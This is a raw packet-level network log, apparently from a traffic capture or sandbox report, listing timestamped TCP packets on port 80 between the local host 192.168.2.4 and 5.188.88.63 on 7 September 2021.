Sep 7, 2021 16:02:57.555737972 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.555831909 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.557713985 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.557748079 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.557774067 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.557792902 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.557931900 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.557950020 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.565701962 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.565733910 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.565757036 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.565781116 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.565803051 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.565807104 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.565828085 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.565854073 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.577043056 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.577079058 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.577102900 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.577127934 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.577152967 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.577155113 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.577178955 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.577202082 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.577203989 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.577228069 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.577251911 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.577253103 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.577275991 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.577291965 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.585458994 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.585493088 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.585515976 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.585587025 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.585591078 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.585613012 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.585815907 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.585844040 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.585870028 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.585894108 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.585911989 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.585918903 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.585943937 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.585964918 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.585967064 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.585983038 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586003065 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.586005926 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586030006 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586052895 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586081982 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.586091042 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586110115 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586128950 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586137056 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.586152077 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586167097 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.586180925 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586201906 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586205959 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.586221933 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586241961 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586266994 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586272001 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.586291075 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586306095 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.586313963 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586338043 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586338997 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.586359978 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586380959 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586401939 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586409092 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.586424112 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586448908 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.586448908 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586472988 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586482048 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.586493969 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586514950 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.586517096 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586541891 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586563110 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586570024 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.586585045 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586607933 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586615086 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.586632967 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586657047 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586658955 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.586678982 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586702108 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586704016 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.586724043 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586745024 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586751938 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.586767912 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586788893 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586798906 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.586812973 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586829901 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.586836100 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586863041 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586885929 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.586885929 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586908102 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.586950064 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.590795994 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.590821981 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.590845108 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.590871096 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.590893984 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.590913057 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.590939045 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.590961933 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.591032982 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.595592976 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.595618010 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.595719099 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.595736027 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.598144054 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.598263979 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.616076946 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.616111040 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.616250038 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.617664099 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.617702961 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.617727041 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.617752075 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.617769957 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.617803097 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.620105028 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.620136023 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.620209932 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.623006105 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.623049974 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.623079062 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.623106956 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.623142004 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.623159885 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.630189896 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.630223036 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.630320072 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.630392075 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.630420923 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.630446911 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.630470037 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.630495071 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.630542040 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.637531042 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.641411066 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.641453028 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.641477108 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.641501904 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.641621113 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.641639948 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.641642094 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.641659021 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.641669989 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.641694069 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.641702890 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.641757965 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.643131018 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.643342972 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.651784897 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.651808977 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.651833057 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.651880980 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.651904106 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.651916981 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.652482033 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.652508974 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.652534008 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.652556896 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.652571917 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.652580976 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.652596951 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.652606964 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.652626038 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.652641058 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.652646065 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.652677059 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.652719021 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.652744055 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.652769089 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.652770042 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.652791977 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.652813911 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.652813911 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.652838945 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.652856112 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.652879000 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.652899027 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.652919054 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.652931929 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.652956963 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.652975082 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.652977943 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.653024912 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.653201103 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.653228998 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.653254986 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.653279066 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.653281927 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.653301001 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.653305054 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.653316975 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.653337955 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.653340101 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.653359890 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.653387070 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.654151917 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654170036 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654186964 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654211998 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654236078 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654243946 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.654262066 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654293060 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.654304028 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654326916 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654350042 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654351950 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.654369116 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654388905 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654393911 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.654414892 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654434919 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654437065 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.654454947 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654503107 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.654592037 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654611111 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654633045 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654644012 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.654649973 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654670000 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654689074 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654695988 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.654711008 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654731989 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.654736042 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.654763937 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.655834913 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.655863047 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.655886889 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.655910015 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.655932903 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.655931950 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.655961037 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.655970097 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.655989885 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.661613941 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.661637068 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.661936998 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.662914038 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.662936926 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.662949085 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.663033962 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.663084030 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.684024096 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.684056044 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.684140921 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.684817076 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.684835911 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.684848070 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.684861898 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.684875011 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.684919119 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.684946060 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.967000008 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:58.003859997 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:58.151460886 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:58.221106052 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:02.792807102 CEST	49769	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:02.866769075 CEST	80	49769	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:02.867069006 CEST	49769	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:02.878990889 CEST	49769	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:02.879065037 CEST	49769	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:02.953550100 CEST	80	49769	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:03.095561981 CEST	80	49769	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:03.095772982 CEST	49769	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:03.095791101 CEST	80	49769	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:03.095957994 CEST	49769	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:03.154045105 CEST	49770	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:03.170106888 CEST	80	49769	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:03.224447012 CEST	80	49770	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:03.224575996 CEST	49770	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:03.331903934 CEST	49770	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:03.332218885 CEST	49770	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:03.401047945 CEST	80	49770	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:03.614376068 CEST	80	49770	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:03.620305061 CEST	49770	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:04.092592955 CEST	49770	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:04.161834002 CEST	80	49770	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.182765007 CEST	49771	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:04.251159906 CEST	80	49771	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.251348972 CEST	49771	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:04.253793955 CEST	49771	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:04.254519939 CEST	49771	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:04.322222948 CEST	80	49771	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.322407007 CEST	80	49771	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.430752039 CEST	80	49771	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.430851936 CEST	49771	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:04.430963039 CEST	49771	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:04.495748043 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:04.499002934 CEST	80	49771	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.570261955 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.570363998 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:04.570700884 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:04.570739985 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:04.647217035 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.647242069 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.876441002 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.876480103 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.876528978 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.876554966 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.876557112 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:04.876579046 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.876605034 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.876614094 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:04.876629114 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.876652002 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:04.876657009 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.876682997 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.876703978 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:04.876707077 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.876751900 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:04.950023890 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.950090885 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.950107098 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.950123072 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.950138092 CEST	80	49772	5.188.88.63	192.168.2.4
